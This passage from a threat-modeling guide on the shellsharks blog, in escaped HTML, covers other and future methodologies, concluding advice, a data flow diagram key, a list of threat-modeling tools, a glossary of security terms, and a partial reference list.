href=&quot;#references&quot;&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;26&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;So there ya have it!&lt;/em&gt; &lt;strong&gt;&lt;a href=&quot;#id3&quot;&gt;ID&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;other-methodologies&quot;&gt;Other Methodologies&lt;/h2&gt;

&lt;p&gt;A list of &lt;em&gt;other&lt;/em&gt; threat modeling methodologies that I know about, but won’t be fully covering for one reason or another.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#maestro&quot;&gt;MAESTRO&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;maestro&quot;&gt;MAESTRO&lt;/h3&gt;

&lt;p&gt;For reasons I get into &lt;a href=&quot;https://shellsharks.com/maestro-to-secure-agentic-ai&quot;&gt;here&lt;/a&gt;, I don’t really consider &lt;strong&gt;&lt;a href=&quot;https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro#&quot;&gt;MAESTRO&lt;/a&gt;&lt;/strong&gt; to be a stand-alone threat modeling framework. I do however think MAESTRO introduces a useful &lt;a href=&quot;#attack-libraries&quot;&gt;attack library&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;future-methodologies&quot;&gt;Future Methodologies&lt;/h2&gt;
&lt;p&gt;In future updates to this guide, I will be detailing additional &lt;a href=&quot;#methodologies&quot;&gt;methodologies&lt;/a&gt;. A list of upcoming models is included below!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Autodesk/continuous-threat-modeling&quot;&gt;CTM&lt;/a&gt; &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;33&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=VbW-X0j35gw&quot;&gt;&lt;i class=&quot;ph ph-youtube-logo&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mitre.org/news-insights/news-release/mitre-red-balloon-security-and-narf-announce-emb3d&quot;&gt;EMB3D&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arxiv.org/html/2502.07116v1&quot;&gt;HARMS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.omadahealth.com/hubfs/nodirt.pdf&quot;&gt;INCLUDES NO DIRT&lt;/a&gt; &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;32&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.diva-portal.org/smash/get/diva2:1463788/FULLTEXT01.pdf&quot;&gt;KTH TMM&lt;/a&gt; &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;34&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.pentest-standard.org/index.php/Threat_Modeling&quot;&gt;Penetration Testing Execution Standard (PTES)&lt;/a&gt; &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;36&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://versprite.com/blog/application-security/threat-modeling/organizational-threat-model-enterprise-risk-assessment/&quot;&gt;VerSprite OTM&lt;/a&gt; &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;35&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;modeling-exercise&quot;&gt;Modeling Exercise&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;* Note&lt;/strong&gt;: In future updates to this guide, I will provide a step-by-step walkthrough of one or more of the Threat Modeling &lt;a href=&quot;#methodologies&quot;&gt;methodologies&lt;/a&gt; from this guide. &lt;em&gt;Stay Tuned!&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;I had a lot of fun, and learned a great deal while building this &lt;a href=&quot;#&quot;&gt;guide&lt;/a&gt; out. I want to thank &lt;em&gt;all&lt;/em&gt; of those involved developing the previous research, blog posts and assorted &lt;em&gt;&lt;a href=&quot;#references&quot;&gt;guidance-from-the-Internet&lt;/a&gt;&lt;/em&gt; I benefited from while putting this all together. Listed below are a few considerations and final parting thoughts related to &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Don’t forget to perform threat modeling early on in the &lt;a href=&quot;https://www.synopsys.com/blogs/software-security/secure-sdlc/&quot;&gt;system development lifecycle&lt;/a&gt; and then continuously as the system evolves.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Threat modeling can be somewhat of an opaque subject which can make the barrier to entry &lt;em&gt;seem&lt;/em&gt; high. I hope with this guide, the steps (&lt;em&gt;&lt;a href=&quot;#methodologies&quot;&gt;whichever you choose to take&lt;/a&gt;&lt;/em&gt;) become clear and thus the path to threat modeling becomes easier.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Many of the threat modeling &lt;a href=&quot;#methodologies&quot;&gt;methodologies&lt;/a&gt; covered in this guide are very prescriptive, formalized or just plain &lt;em&gt;involved&lt;/em&gt;. This can be overwhelming to the point where you don’t even bother attempting to threat model because you won’t be able to succeed in a &lt;em&gt;by-the-book&lt;/em&gt; approach. Try to focus less on doing &lt;em&gt;every. single. thing.&lt;/em&gt; that these methodologies describe and more on what you &lt;em&gt;can&lt;/em&gt; do to help better highlight the risks within a system. That’s exactly what I did with &lt;strong&gt;&lt;a href=&quot;#id3&quot;&gt;ID&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;! I just cherry-picked the things I liked from different models, smushed them together, slapped a shiny new name on it and went on my merry way. In other words, don’t let perfection be the enemy of good.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Threat modeling is (&lt;em&gt;and should be&lt;/em&gt;) highly collaborative. You’re going to need help. Use this time to build relationships across the business, learn in a cross-disciplinary fashion and of course, &lt;em&gt;have fun&lt;/em&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Each of the &lt;a href=&quot;#methodologies&quot;&gt;threat modeling methodologies&lt;/a&gt; covered in this doc have a context in which they shine. You may find that at different organizations or at different moments in time within a single organization, one methodology will prove superior to another. What I’m trying to say is, keep a working knowledge of &lt;em&gt;all&lt;/em&gt; of them, you never know when you’ll want to use one over another.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“&lt;em&gt;The Enchiridion of Impetus Exemplar&lt;/em&gt;”, loosely translated from Latin means “&lt;em&gt;The Manual of Attack Model&lt;/em&gt;”. It sounds better in Latin…&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;appendices&quot;&gt;Appendices&lt;/h1&gt;

&lt;h2 id=&quot;data-flow-diagram&quot;&gt;Data Flow Diagram&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Data Flow Diagrams&lt;/strong&gt; (&lt;strong&gt;DFDs&lt;/strong&gt;) are more art than science, in fact, they are drawings much like art! There is however &lt;em&gt;some science&lt;/em&gt; to DFDs, especially in the context of &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt;. The following &lt;strong&gt;key&lt;/strong&gt; should help you decipher the elements within the DFD I have provided, as well as other DFDs which use this common symbology. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Rounded Rectangle&lt;/em&gt; - External process/entity&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Circle&lt;/em&gt; - Internal process&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Arrow&lt;/em&gt; - Directional data flow&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Partial Rectangle&lt;/em&gt; (parallel horizontal lines) - Data store&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Rectangle&lt;/em&gt; - External entity (out of our control sphere)&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Dotted Line&lt;/em&gt; - Trust boundary&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The DFD you see below is a (&lt;em&gt;admittedly poor&lt;/em&gt;) visualization / model of the &lt;a href=&quot;https://shellsharks.com/&quot;&gt;shellsharks&lt;/a&gt; site.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/data-flow-diagram.png&quot; alt=&quot;Shellsharks Data Flow Diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As I mentioned earlier, this is but one way to create a DFD for a threat modeling exercise. For another take, check out &lt;a href=&quot;https://www.synopsys.com/glossary/what-is-threat-modeling.html&quot;&gt;this awesome threat model DFD from Synopsys&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;* Note&lt;/strong&gt;: I’m planning on adding a &lt;em&gt;much better&lt;/em&gt; DFD in future developments to this guide - more akin to the &lt;a href=&quot;https://www.synopsys.com/&quot;&gt;Synopsys&lt;/a&gt; one. &lt;em&gt;Stay tuned!&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;threat-modeling-methodology-matrix-tm3&quot;&gt;Threat Modeling Methodology Matrix (TM&lt;sup&gt;3&lt;/sup&gt;)&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;* Note&lt;/strong&gt;: In future updates to this guide, I plan on adding a comprehensive matrix (&lt;em&gt;dubbed&lt;/em&gt;, “&lt;strong&gt;TM&lt;sup&gt;3&lt;/sup&gt;&lt;/strong&gt;”), mapping the characteristics &amp;amp; capabilities of &lt;a href=&quot;#methodologies&quot;&gt;all methodologies&lt;/a&gt; within this guide. This matrix will be reminiscent of the &lt;a href=&quot;#threat-modeling-methodology-comparison&quot;&gt;comparison table sourced from the ThreatModeler site&lt;/a&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;17&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;tooling&quot;&gt;Tooling&lt;/h2&gt;
&lt;p&gt;There are a number of tools built for (&lt;em&gt;or can be used for&lt;/em&gt;) &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt;. Listed below are some of these tools. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;19&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-getting-started&quot;&gt;Microsoft Threat Modeling Tool&lt;/a&gt; - Leverages &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt; to categorize threats and simplify security conversations.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatdragon.github.io&quot;&gt;OWASP Threat Dragon&lt;/a&gt; &lt;a href=&quot;https://github.com/OWASP/threat-dragon/releases&quot;&gt;&lt;i class=&quot;ph ph-github-logo&quot;&gt;&lt;/i&gt;&lt;/a&gt; - Supports &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt; &amp;amp; &lt;a href=&quot;#linduun&quot;&gt;LINDDUN&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatmodeler.com/threatmodeler/#threatmodeler&quot;&gt;ThreatModeler&lt;/a&gt; (&lt;em&gt;commerical&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/izar/pytm&quot;&gt;pytm&lt;/a&gt; &lt;a href=&quot;https://github.com/izar/pytm&quot;&gt;&lt;i class=&quot;ph ph-github-logo&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.octotrike.org/tools&quot;&gt;Trike&lt;/a&gt; &lt;a href=&quot;https://github.com/octotrike/trike&quot;&gt;&lt;i class=&quot;ph ph-github-logo&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://app.diagrams.net&quot;&gt;Draw.io&lt;/a&gt; - Not specifically a threat modeling tool but can be used to create threat models anyways.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threagile.io&quot;&gt;Threagile&lt;/a&gt; &lt;a href=&quot;https://github.com/threagile&quot;&gt;&lt;i class=&quot;ph ph-github-logo&quot;&gt;&lt;/i&gt;&lt;/a&gt; - Open-source toolkit which enables teams to execute &lt;a href=&quot;https://www.agilealliance.org/agile101/&quot;&gt;Agile&lt;/a&gt; threat modeling.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cairis.org&quot;&gt;Cairis&lt;/a&gt; &lt;a href=&quot;https://github.com/cairis-platform/cairis&quot;&gt;&lt;i class=&quot;ph ph-github-logo&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.iriusrisk.com/threat-modeling-platform&quot;&gt;IriusRisk&lt;/a&gt; (&lt;em&gt;commerical&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://foreseeti.com/securicad-enterprise/&quot;&gt;SecuriCAD&lt;/a&gt; (&lt;em&gt;commerical&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tutamantic.com&quot;&gt;Tutamantic&lt;/a&gt; (&lt;em&gt;commerical&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatcl.github.io&quot;&gt;threatcl&lt;/a&gt; - threat modeling configuration language with hcl&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatsmanager.com&quot;&gt;Threats Manager Studio&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/threatspec/threatspec&quot;&gt;threatspec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Diagrams-as-Code - &lt;a href=&quot;https://c4model.com&quot;&gt;C4 model&lt;/a&gt;, &lt;a href=&quot;https://mermaid.live/&quot;&gt;Mermaid&lt;/a&gt;, &lt;a href=&quot;https://structurizr.com&quot;&gt;Structurizr&lt;/a&gt;, &lt;a href=&quot;https://diagrams.mingrammer.com&quot;&gt;Minigrammer&lt;/a&gt;, &lt;a href=&quot;https://plantuml.com&quot;&gt;PlantUML&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://forktm.com&quot;&gt;FORK&lt;/a&gt; - SaaS-based Risk-Centric PASTA Threat Modeling tool&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attack Tree Tools&lt;/strong&gt;: &lt;a href=&quot;http://satoss.uni.lu/members/piotr/adtool/&quot;&gt;ADTool&lt;/a&gt;, &lt;a href=&quot;https://github.com/yathuvaran/AT-AT&quot;&gt;AT-AT&lt;/a&gt;, &lt;a href=&quot;https://github.com/jimmythompson/ent&quot;&gt;Ent&lt;/a&gt;, &lt;a href=&quot;https://sourceforge.net/projects/seamonster/?source=navbar&quot;&gt;SeaMonster&lt;/a&gt;, &lt;a href=&quot;https://www.isograph.com/software/attacktree/&quot;&gt;AttackTree+&lt;/a&gt;, &lt;a href=&quot;https://www.amenaza.com/&quot;&gt;SecuriTree&lt;/a&gt;, &lt;a href=&quot;https://risktree.2t-security.co.uk&quot;&gt;RiskTree&lt;/a&gt;, &lt;a href=&quot;https://swagitda.com/blog/posts/deciduous-attack-tree-app/&quot;&gt;Deciduous&lt;/a&gt; &lt;a href=&quot;https://swagitda.com/blog/posts/deciduous-attack-tree-app/&quot;&gt;&lt;i class=&quot;ph ph-file-text&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://illuminated-security.com/threat-modelling-workbook-2/&quot;&gt;Threat Modelling Workbook&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tsp.cs.tufts.edu/tmnt/IntroThreatModeling.html&quot;&gt;Threat Modeling Naturally Tool&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;* Note&lt;/strong&gt;: In future updates, I will post some hands-on walkthroughs / reviews / analysis of some of these tools. &lt;em&gt;Stay tuned!&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;terminology&quot;&gt;Terminology&lt;/h2&gt;

&lt;p&gt;This sections lists some useful &lt;em&gt;terminology&lt;/em&gt; used across this guide. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;20&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Abuse Case&lt;/strong&gt; - Deliberate abuse of a use case in order to produce unintended results.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://csrc.nist.gov/glossary/term/access_control_matrix&quot;&gt;Access Control Matrix&lt;/a&gt;&lt;/strong&gt; - A table in which each row represents a subject, each column represents an object, and each entry is the set of access rights for that subject to that object.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Asset&lt;/strong&gt; - Data, physical object or other resource of value.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attack&lt;/strong&gt; - An action taken that utilizes one or more vulnerabilities to realize a threat (i.e &lt;em&gt;target&lt;/em&gt; + &lt;em&gt;attack vector&lt;/em&gt; + &lt;em&gt;threat actor&lt;/em&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attack Graph&lt;/strong&gt; - The set of all interconnected &lt;em&gt;&lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt;&lt;/em&gt; for a &lt;em&gt;system&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attack Libraries&lt;/strong&gt; - A library of known attacks (e.g. &lt;a href=&quot;https://capec.mitre.org&quot;&gt;CAPEC&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attack Surface&lt;/strong&gt; - Any logical or physical area that can be obtained, used or attacked by a &lt;em&gt;threat actor&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;#attack-trees&quot;&gt;Attack Tree&lt;/a&gt;&lt;/strong&gt; - A tree of &lt;em&gt;attacks&lt;/em&gt;, rooted by a &lt;em&gt;threat&lt;/em&gt;, comprised of all the ways that the threat can be realized.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Attack Vector&lt;/strong&gt; - Point and channel for which attacks travel.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Control&lt;/strong&gt; - A safeguard or countermeasure prescribed for an information system or an organization designed to protect the confidentiality, integrity, and availability of its information and to meet a set of defined security requirements.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Countermeasure&lt;/strong&gt; - See &lt;em&gt;Control&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Data Flow&lt;/strong&gt; - A link between two processes or a process and a data store.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Data Flow Diagram&lt;/strong&gt; - Visually describes the processes, data stores and data flows of a system.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Data Store&lt;/strong&gt; - Any location where data is persisted in a system.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Enchiridion&lt;/strong&gt; - Latin for “manual”&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;External Interactor&lt;/strong&gt; - A process which is outside the scope of the system.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Impact&lt;/strong&gt; - Value / measure of damage sustained via an attack.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Impetus Exemplar&lt;/strong&gt; - Latin for “&lt;em&gt;attack model / pattern&lt;/em&gt;”&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mitigation&lt;/strong&gt; - Something which prevents or reduces the damage of an attack.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/Threat_Modeling&quot;&gt;OWASP Threat Modeling&lt;/a&gt; - Four-question framework from &lt;a href=&quot;https://owasp.org&quot;&gt;OWASP&lt;/a&gt; which resembles the &lt;a href=&quot;https://www.threatmodelingmanifesto.org&quot;&gt;Threat Modeling Manifesto&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Process&lt;/strong&gt; - Any location where work is done on data in a system.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.lucidchart.com/pages/process-flow-diagrams&quot;&gt;Process Flow Diagram&lt;/a&gt;&lt;/strong&gt; - A type of flowchart that illustrates the relationships between major components.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk&lt;/strong&gt; - A measure of the extent to which an entity is threatened by a potential circumstance or event, and typically a function of: (i) the adverse impacts that would arise if the circumstance or event occurs; and (ii) the likelihood of occurrence.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Security Requirements&lt;/strong&gt; - Requirements levied on an information system that are derived from applicable laws, Executive Orders, directives, policies, standards, instructions, regulations, or procedures, or organizational mission/business case needs to ensure the confidentiality, integrity, and availability of the information being processed, stored, or transmitted.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;System&lt;/strong&gt; - The entire application, as defined by the scope of the threat model or audit.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Threat&lt;/strong&gt; - A potential occurrence, malicious or otherwise, which might damage or compromise an asset. Also defined as the cross-section of attacker &lt;em&gt;intent&lt;/em&gt;, &lt;em&gt;capability&lt;/em&gt; and &lt;em&gt;opportunity&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Threat Actor&lt;/strong&gt; - Adverse caller of use or abuse cases.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Threat Model&lt;/strong&gt; - See &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;intro to threat modeling&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Threat Tree&lt;/strong&gt; - see &lt;em&gt;Attack Tree&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.synopsys.com/blogs/software-security/5-pillars-successful-threat-model/&quot;&gt;Traceability Matrix&lt;/a&gt;&lt;/strong&gt; - A traceability matrix examines a threat agent. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;10&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Trust Boundary&lt;/strong&gt; - Encloses a region where all actions occur at the same level of privilege.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability&lt;/strong&gt; - An unmitigated path of an &lt;a href=&quot;#attack-trees&quot;&gt;attack tree&lt;/a&gt; from the root node (threat) to a leaf.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Weakness&lt;/strong&gt; - A security issue in a system.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.threatmodelingmanifesto.org&quot;&gt;Threat Modeling Manifesto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.synopsys.com/glossary/what-is-threat-modeling.html&quot;&gt;Threat Modeling | Synopsys&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.microsoft.com/en-us/securityengineering/sdl/threatmodeling&quot;&gt;Microsoft Threat Modeling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://docs.microsoft.com/en-us/archive/msdn-magazine/2006/november/uncover-security-design-flaws-using-the-stride-approach&quot;&gt;STRIDE | Microsoft&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/driversecurity/threat-modeling-for-drivers#the-dread-approach-to-threat-assessment&quot;&gt;DREAD | Microsoft&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://owasp.org/www-pdf-archive/AppSecEU2012_PASTA.pdf&quot;&gt;Real World Threat Modeling Using the PASTA Methodology | VerSprite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;7&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.robertmlee.org/cyber-intelligence-part-5-cyber-threat-intelligence/&quot;&gt;Cyber Intelligence Part 5: Cyber Threat Intelligence | Rob Lee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;8&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://warnerchad.medium.com/diamond-model-for-cti-5aba5ba5585&quot;&gt;Diamond Model in Cyber Threat Intelligence | Chad Warner&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;9&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://2017.appsec.eu/presos/CISO/Threat%20Modeling%20with%20PASTA%20-%20Risk%20Centric%20Application%20Threat%20Modeling%20Case%20Studies%20-%20Tony%20UcedaVélez%20-%20OWASP_AppSec-Eu_2017.pdf&quot;&gt;Threat Modeling w/ PASTA: Risk Centric Threat Modeling Case Studies | OWASP AppSec EU Belfast&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;10&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.synopsys.com/blogs/software-security/5-pillars-successful-threat-model/&quot;&gt;The 5 pillars of a successful threat model | Synopsys&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;11&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.schneier.com/academic/archives/1999/12/attack_trees.html&quot;&gt;Attack Trees | Schneier on Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;12&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.amenaza.com/AT-whatAre.php&quot;&gt;What are Attack Trees? | Amenaza&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;13&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://resources.sei.cmu.edu/asset_files/TechnicalReport/1999_005_001_16769.pdf&quot;&gt;Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE) Framework, Version 1.0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;14&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;http://www.octotrike.org/papers/Trike_v1_Methodology_Document-draft.pdf&quot;&gt;Trive v.1 Methodology Document [Draft]&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;15&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.linddun.org&quot;&gt;LINDDUN: privacy engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;16&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.linddun.org/linddun&quot;&gt;LINDDUN framework&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;17&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://go.threatmodeler.com/threat-modeling-methodologies&quot;&gt;Threat Modeling Methodologies | ThreatModeler&lt;/a&gt;&lt;/li&gt;
